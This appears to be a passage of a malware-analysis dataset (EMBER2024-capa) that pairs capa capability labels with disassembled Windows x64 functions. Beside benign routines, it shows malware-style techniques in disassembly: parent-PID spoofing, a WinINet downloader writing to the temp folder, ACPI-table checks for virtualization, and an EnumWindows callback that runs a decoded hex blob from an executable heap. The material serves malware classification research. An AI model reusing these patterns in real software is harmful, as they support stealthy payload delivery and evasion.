joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180053070
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
xor r11d, r11d
mov r10d, edx
mov edi, r8d
mov rbx, rcx
mov esi, 0xffffffff
test edx, edx
jne 0x1800530b1
mov eax, dword [rcx]
test eax, eax
je 0x1800530a1
bsf ecx, eax
cmp ecx, r8d
jb 0x1800530ab
mov ecx, r8d
shr eax, cl
mov dword [rbx], eax
xor eax, eax
mov rbx, qword [rsp + 0x30]
pop rdi
pop rsi
ret
shr eax, cl
mov dword [rbx], eax
sub edi, ecx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x28], r15
mov r15d, 1
cmp edi, 0x12
jbe 0x180053153
mov edx, r9d
and r9b, 0x30
shr edx, 0x18
lea r8d, [rdx - 1]
cmp r9b, 0x20
jne 0x1800530ff
mov eax, 0x38e38e39
mov r14d, 0x3f
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
sub r14d, edx
jmp 0x180053160
bsr ecx, dword [rbx + r10*4]
imul eax, r10d, 0x1d
mov esi, r10d
sub eax, edi
add eax, ecx
mov ecx, r15d
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, qword [0x18006a6a8]
cvttsd2si eax, xmm0
sub ecx, eax
mov eax, 0x38e38e39
sub ecx, edx
imul ecx
mov eax, r8d
sar edx, 1
mov r14d, edx
add edx, 0x3e
shr r14d, 0x1f
add r14d, edx
cdq
and edx, 7
add eax, edx
sar eax, 3
sub esi, eax
add esi, 0x3d
jmp 0x180053160
mov r14d, esi
cmp edi, 9
jb 0x1800531fd
nop
mov ecx, dword [rbx + r10*4]
mov r8d, r10d
mov eax, ecx
and ecx, 0x1ff
shr eax, 9
imul r9d, ecx, 0x1dcd65
mov dword [rbx + r10*4], eax
cmp r10d, r11d
je 0x1800531b9
nop dword [rax]
nop word [rax + rax]
dec r8d
and r8d, 0x3f
mov edx, dword [rbx + r8*4]
mov eax, edx
shr eax, 9
and edx, 0x1ff
add eax, r9d
imul r9d, edx, 0x1dcd65
mov dword [rbx + r8*4], eax
cmp r8d, r11d
jne 0x180053190
cmp r11d, r14d
je 0x1800531dc
cmp r11d, esi
je 0x1800531dc
test r9d, r9d
je 0x1800531d3
dec r11d
and r11d, 0x3f
mov dword [rbx + r11*4], r9d
cmp dword [rbx + r10*4], 0
jne 0x1800531f1
jmp 0x1800531e8
cmp dword [rbx + r10*4], 0
jne 0x1800531f1
cmp r10d, r11d
je 0x180053267
dec r10d
and r10d, 0x3f
dec esi
add edi, 0xfffffff7
cmp edi, 9
jae 0x180053160
test edi, edi
je 0x180053267
mov r9d, dword [rbx + r10*4]
mov ecx, edi
mov eax, r9d
shl r15d, cl
dec r15d
shr eax, cl
and r9d, r15d
mov dword [rbx + r10*4], eax
mov esi, 0x3b9aca00
sar esi, cl
imul r9d, esi
cmp r10d, r11d
je 0x180053257
nop dword [rax]
dec r10d
mov ecx, edi
and r10d, 0x3f
mov edx, dword [rbx + r10*4]
mov eax, edx
shr eax, cl
add eax, r9d
mov r9d, edx
and r9d, r15d
mov dword [rbx + r10*4], eax
imul r9d, esi
cmp r10d, r11d
jne 0x180053230
test r9d, r9d
je 0x180053267
dec r11d
and r11d, 0x3f
mov dword [rbx + r11*4], r9d
mov r14, qword [rsp + 0x20]
mov eax, r11d
mov rbp, qword [rsp + 0x18]
mov r15, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x30]
pop rdi
pop rsi
ret
Function at 0x180062190
Capabilities:
Query environment variable

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x140
mov rax, qword [0x1800751c8]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, rcx
mov rdi, r9
mov rcx, r8
mov rsi, rdx
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x18006220b
cmp dword [rsp + 0x180], 0
jne 0x18006220b
lea r9, [0x18006bde0]
mov rdx, rax
lea r8, [0x18006bde4]
mov rcx, rbx
call sym.lua51.dll_luaL_gsub
mov r9, rdi
lea r8, [0x18006bde8]
mov rdx, rax
mov rcx, rbx
call sym.lua51.dll_luaL_gsub
mov edx, 0xfffffffe
mov rcx, rbx
call sym.lua51.dll_lua_remove
jmp 0x180062216
mov rdx, rdi
mov rcx, rbx
call sym.lua51.dll_lua_pushstring
mov r8d, 0x105
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180062280
cmp eax, 0x105
je 0x180062280
mov edx, 0x5c
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x180062280
xor r8d, r8d
mov byte [rax], 0
mov rcx, rbx
lea edx, [r8 - 1]
call sym.lua51.dll_lua_tolstring
mov rdx, rax
lea r9, [rsp + 0x20]
lea r8, [0x18006bba8]
mov rcx, rbx
call sym.lua51.dll_luaL_gsub
mov edx, 0xfffffffe
mov rcx, rbx
call sym.lua51.dll_lua_remove
jmp 0x18006228f
lea rdx, str.unable_to_get_ModuleFileName
mov rcx, rbx
call sym.lua51.dll_luaL_error
mov r8, rsi
mov edx, 0xfffffffe
mov rcx, rbx
call sym.lua51.dll_lua_setfield
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1800647d0
add rsp, 0x140
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400021d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400122c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400021f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400021f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400021f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000224d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002244
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400021f0
add rax, 0x28
cmp rax, r9
jne 0x140002230
xor eax, eax
ret

Function at 0x140002250
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400122c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000226f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002278
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000226f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002310
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400122c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000232f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002338
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14000f1b0
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
mov ecx, 0xdb
mov edx, 1
mov rbp, rsp
push r12
push rdi
push rsi
lea rsi, str.7eff141e576f58846c92843c10845dfff58c9d20ab149f9884ad98840f98949c13d47c98943c98845dff5e354a85ab149c13842f988485140000010086951404a66f98e5024c38845dfff58c9d20ab149f9884851440a69c13d42e988401ce38840000200b4c18845dff16d4e657ab147c98849f98845dff1eb3ce47ab149f98842d13840c13d45dffff839e7bab149f98842d13845dff7673bd2cab149f98842e98c4851401a67c98845dff0efdf0aeab142c98840cff840c13d49c13d405059520a65dff00b60892ab14950000101086ae98c45dff706277c4ab141f98c44e98944514f70000204c7c9405050c13845e98940000100ace18846e9894651400002333f5233777eb94d5ffffffb49e21b884a59514850eff251402ce3884a51495148514a595e50d1084851485148840b8140d1094c104b84484c0b814660d10944204b844858d571d93548042c430c41f570e831c1014d09c1c14ca0c13846d10848843b8149c13d49cff84653e0d1094058184b80204b8440d108476470c58840000008808b80000002758f020b0818718660d1084c324b815140225b88425de2e1c1014d09c1c1402c220c716c3ca0c1384a4a47bf0840527b8849c13d40225b88465158125b8840625b884562d13842505141514000000cc8effffff0f4e1884cfffffff5b8e00568756e24737f686366737ffffff868e5dff0e530f44ab149cff849c13845dff97a9ca6cab14f0b8848c98949d98941515159c13845dff7edb8d5cab14f0b8842c9884851464be0000103e1c7c94453c98845dfff32978eaab14f0b8842d13848c98d4000001001c7c9404a60000002748f00c58845dff68f3cc97ab142f98848c98949c989415800000408615159c1384150642c4d884750000100242cbd88400a6e5000000399e5dff1bb6a41bab140342c4d884ffffef074c1884d5ffffff659e21b884a59514850eff251402ce3884a51495148514a595e5851485140d10848840b8140d1094c104b84484c0b814660d10944204b844857d571d93548042c430c41f570e831c1014d09c1c14ca0c13849c13d46d10848843b8149cff84653e760d10940204b8448184b8050d108486470c58840000008808b80d1084c324b80225b884151425de2e1c1014d09c1c1402c220c716c3ca0c13849c13d4a4a47bf0840527b8840225b8848125b8840625b884562d1384651525051415140000001c8ecf
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x700
lea rbx, [rsp + 0x20]
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x36d
movzx eax, word [rsi]
mov word [rdi], ax
movzx eax, byte [0x140011702]
mov byte [rdi + 2], al
call sub.msvcrt.dll_calloc
test rax, rax
je 0x14000f2c7
mov r12, rax
mov rcx, rbx
call qword [sym.imp.msvcrt.dll__strrev]
movzx eax, byte [rsp + 0x20]
test al, al
je 0x14000f25d
mov rdi, rbx
mov rsi, r12
lea rbx, str._02X
jmp 0x14000f24d
mov rcx, rdi
mov r8, rsi
mov rdx, rbx
add rdi, 2
call fcn.14000f180
movzx eax, byte [rdi]
add rsi, 1
test al, al
je 0x14000f25d
cmp al, 0x20
jne 0x14000f230
movzx eax, byte [rdi + 1]
add rdi, 1
test al, al
jne 0x14000f24d
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8d, 8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rax
test rax, rax
je 0x14000f2b0
mov rdx, r12
mov r8d, 0x36d
call sub.msvcrt.dll_memmove
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumWindows]
lea rsp, [rbp - 0x20]
pop rbx
pop rsi
pop rdi
pop r12
pop rbp
ret
lea rcx, str.HeapAlloc_error
call fcn.14000f130
lea rsp, [rbp - 0x20]
pop rbx
pop rsi
pop rdi
pop r12
pop rbp
ret
lea rcx, str.malloc_error
call fcn.14000f130
jmp 0x14000f29f
Function at 0x140001987
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rbx
sub rsp, 0x188
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xfc], 0
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xf0], rax
cmp qword [rbp + 0xf0], 0xffffffffffffffff
je 0x140001a71
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
setne al
test al, al
je 0x140001a5e
lea rax, [rbp + 0xd0]
mov edx, 0x6b
mov rcx, rax
call fcn.14000150b
lea rax, [rbp + 0xd0]
mov rcx, rax
call fcn.140033100
mov rdx, rax
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
sete bl
lea rax, [rbp + 0xd0]
mov rcx, rax
call fcn.1400be8f0
test bl, bl
je 0x140001a42
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0xfc], eax
jmp 0x140001a5e
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
setne al
test al, al
jne 0x1400019e9
mov rax, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xfc]
add rsp, 0x188
pop rbx
pop rbp
ret
Function at 0x140001a81
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x110
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
call fcn.140001987
mov dword [rbp + 0x8c], eax
cmp dword [rbp + 0x8c], 0
jne 0x140001ab8
mov eax, 0
jmp 0x140001ca2
mov eax, dword [rbp + 0x8c]
mov r8d, eax
mov edx, 0
mov ecx, pe_nt_image_headers64
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x80], rax
cmp qword [rbp + 0x80], 0
jne 0x140001aef
mov eax, 0
jmp 0x140001ca2
mov rdx, rbp
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp], 0x70
pxor xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movq qword [rbp - 0x10], xmm0
mov qword [rbp - 0x28], 0
lea rax, [rbp - 0x28]
mov r9, rax
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
mov rbx, qword [rbp - 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
lea rdx, [rbp - 0x28]
mov r9, rdx
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
mov rax, qword [rbp + 0x80]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0x68]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
call fcn.140033f70
mov rcx, rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
mov rax, rbp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
setne al
mov byte [rbp + 0x7f], al
cmp byte [rbp + 0x7f], 0
je 0x140001c5a
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
call rax
mov rbx, qword [rbp + 0x68]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov rax, qword [rbp + 0x80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
movzx eax, byte [rbp + 0x7f]
add rsp, 0x110
pop rbx
pop rdi
pop rbp
ret
Function at 0x1400026bd
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
mov eax, 0x1228
call fcn.1400106b0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x11c0], rcx
mov qword [rbp + 0x11c8], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.MyDownloader
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenW]
call rax
mov qword [rbp + 0x1198], rax
cmp qword [rbp + 0x1198], 0
jne 0x14000276a
lea rax, str.InternetOpenW_failed._Error:
mov rdx, rax
mov rax, qword [str._h_r_]
mov rcx, rax
call fcn.1400cf5b0
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call fcn.14008de70
mov rcx, rax
mov rax, qword [0x1400de270]
mov rdx, rax
call fcn.14008dbf0
mov ebx, 0
jmp 0x140002943
mov rdx, qword [rbp + 0x11c0]
mov rax, qword [rbp + 0x1198]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlW]
call rax
mov qword [rbp + 0x1190], rax
cmp qword [rbp + 0x1190], 0
jne 0x140002810
lea rax, str.InternetOpenUrlW_failed._Error:
mov rdx, rax
mov rax, qword [str._h_r_]
mov rcx, rax
call fcn.1400cf5b0
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call fcn.14008de70
mov rcx, rax
mov rax, qword [0x1400de270]
mov rdx, rax
call fcn.14008dbf0
mov rax, qword [rbp + 0x1198]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0
jmp 0x140002943
mov rdx, qword [rbp + 0x11c8]
lea rax, [rbp + 0xfc0]
mov r8d, 4
mov rcx, rax
call fcn.1400abd10
lea rax, [rbp + 0xfc0]
add rax, 0xc8
mov rcx, rax
call fcn.14007c0d0
test al, al
je 0x1400028bb
lea rax, str.Failed_to_open_output_file.
mov rdx, rax
mov rax, qword [str._h_r_]
mov rcx, rax
call fcn.1400cf5b0
mov rcx, rax
mov rax, qword [0x1400de270]
mov rdx, rax
call fcn.14008dbf0
mov rax, qword [rbp + 0x1190]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x1198]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 0
jmp 0x140002934
mov eax, dword [rbp - 0x44]
mov ecx, eax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0xfc0]
mov r8, rcx
mov rcx, rax
call fcn.14008c080
lea rcx, [rbp - 0x44]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1190]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x1400028f1
mov eax, dword [rbp - 0x44]
test eax, eax
je 0x1400028f1
mov eax, 1
jmp 0x1400028f6
mov eax, 0
test al, al
jne 0x1400028a0
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.1400abba0
mov rax, qword [rbp + 0x1190]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x1198]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov ebx, 1
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.1400ac5f0
mov eax, ebx
jmp 0x140002964
add rsp, 0x1228
pop rbx
pop rbp
ret
Function at 0x14000296e
Capabilities:
Get common file path

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x298
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x240], rcx
mov qword [rbp + 0x248], rdx
lea rax, [rbp + 0x130]
mov edx, 0x69
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x110]
lea rcx, [rbp + 0x130]
mov rdx, qword [rbp + 0x240]
mov r8, rcx
mov rcx, rax
call fcn.1400d03f0
lea rax, [rbp + 0x130]
mov rcx, rax
call fcn.1400c3200
lea rax, [rbp + 0x150]
mov edx, 0x6a
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xf0]
lea rcx, [rbp + 0x150]
mov rdx, qword [rbp + 0x248]
mov r8, rcx
mov rcx, rax
call fcn.1400d03f0
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.1400c3200
lea rax, [rbp - 0x20]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, [rbp + 0x17f]
mov qword [rbp + 0x208], rax
nop
nop
lea rcx, [rbp + 0x17f]
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call fcn.1400be030
lea rax, [rbp + 0x17f]
mov rcx, rax
call fcn.1400ae770
nop
lea rax, [rbp + 0x180]
mov edx, 0x6a
mov rcx, rax
call fcn.14000150b
lea rax, [rbp - 0x60]
lea rcx, [rbp + 0x180]
lea rdx, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call fcn.1400cfe80
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.1400be8f0
mov ebx, 0
mov esi, 0
lea rax, [rbp + 0x1a0]
mov edx, 0x6a
mov rcx, rax
call fcn.140001450
mov ebx, 1
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.140033f90
test al, al
jne 0x140002b0a
lea rax, [rbp + 0x1c0]
mov edx, 0x6a
mov rcx, rax
call fcn.140001450
mov esi, 1
lea rax, [rbp + 0x1c0]
lea rdx, [0x1400d80c6]
mov rcx, rax
call fcn.1400cf4d0
test al, al
je 0x140002b11
mov edi, 1
jmp 0x140002b16
mov edi, 0
test sil, sil
je 0x140002b2a
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.1400c3200
test bl, bl
je 0x140002b3d
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400c3200
test dil, dil
je 0x140002b94
lea rax, [rbp + 0x1e0]
mov edx, 0x6c
mov rcx, rax
call fcn.140002589
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.140033f70
mov r9d, 0x10
lea r8, str.error
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.1400c3200
jmp 0x140002bd0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140033100
mov rbx, rax
lea rax, [rbp + 0x110]
mov rcx, rax
call fcn.140033f70
mov rdx, rbx
mov rcx, rax
call fcn.1400026bd
test al, al
je 0x140002bd0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.1400020c9
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400be8f0
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400be8f0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.1400c3200
lea rax, [rbp + 0x110]
mov rcx, rax
call fcn.1400c3200
jmp 0x140002d02
add rsp, 0x298
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140002ef2
Capabilities:
Enumerate system firmware tables

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov r8d, 0
mov edx, 0
mov ecx, 0x41435049
mov rax, qword [sym.imp.KERNEL32.dll_EnumSystemFirmwareTables]
call rax
mov dword [rbp - 0x14], eax
mov qword [rbp - 0x20], 0
cmp dword [rbp - 0x14], 0
jne 0x140002f2e
mov eax, 1
jmp 0x1400030b5
mov eax, dword [rbp - 0x14]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140002f4e
mov eax, 1
jmp 0x1400030b5
mov edx, dword [rbp - 0x14]
mov rax, qword [rbp - 0x20]
mov r8d, edx
mov rdx, rax
mov ecx, 0x41435049
mov rax, qword [sym.imp.KERNEL32.dll_EnumSystemFirmwareTables]
call rax
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 0
jne 0x140002f88
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.14001adc8
mov eax, 1
jmp 0x1400030b5
mov byte [rbp - 1], 0
mov dword [rbp - 8], 0
mov qword [rbp - 0x10], 0
jmp 0x14000305e
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x2f], 0
mov dword [rbp - 0x2c], 0
mov rax, qword [rbp - 0x28]
lea rdx, [rax + 0xa]
lea rax, [rbp - 0x2f]
mov r8d, 6
mov rcx, rax
call sub.msvcrt.dll_memcpy
lea rax, [rbp - 0x2f]
mov r8d, 4
lea rdx, str.WAET
mov rcx, rax
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000300a
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.14001adc8
mov eax, 0
jmp 0x1400030b5
movzx eax, byte [rbp - 1]
test eax, eax
jne 0x140003033
lea rax, [rbp - 0x2f]
mov r8d, 4
lea rdx, str.HPET
mov rcx, rax
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x140003033
mov byte [rbp - 1], 1
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 0x10]
mov eax, eax
test rax, rax
jne 0x140003055
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.14001adc8
mov eax, 0
jmp 0x1400030b5
add dword [rbp - 8], 1
add qword [rbp - 0x10], 1
mov eax, dword [rbp - 0x14]
shr eax, 2
mov eax, eax
cmp qword [rbp - 0x10], rax
jb 0x140002fa0
cmp dword [rbp - 8], 7
jg 0x140003089
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.14001adc8
mov eax, 0
jmp 0x1400030b5
movzx eax, byte [rbp - 1]
test eax, eax
jne 0x1400030a4
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.14001adc8
mov eax, 0
jmp 0x1400030b5
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.14001adc8
mov eax, 1
add rsp, 0x50
pop rbp
ret
Function at 0x140006400
Capabilities:
Parse pe header

Disassembly:
push rsi
sub rsp, 0x30
mov rax, qword [rcx + 0x18]
movzx edx, byte [rax]
cmp dl, 0x4c
je 0x140006470
jg 0x140006430
sub edx, 0x49
cmp dl, 1
ja 0x140006480
add rax, 1
mov qword [rcx + 0x18], rax
add rsp, 0x30
pop rsi
jmp fcn.1400064a0
cmp dl, 0x58
jne 0x140006480
add rax, 1
mov esi, dword [rcx + 0x4c]
mov dword [rcx + 0x4c], 1
mov qword [rcx + 0x18], rax
mov qword [rsp + 0x28], rcx
call fcn.140006770
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x18]
mov dword [rcx + 0x4c], esi
cmp byte [rdx], 0x45
jne 0x140006490
add rdx, 1
mov qword [rcx + 0x18], rdx
add rsp, 0x30
pop rsi
ret
add rsp, 0x30
pop rsi
jmp fcn.140006220
add rsp, 0x30
pop rsi
jmp fcn.140004b70
xor eax, eax
jmp 0x14000646a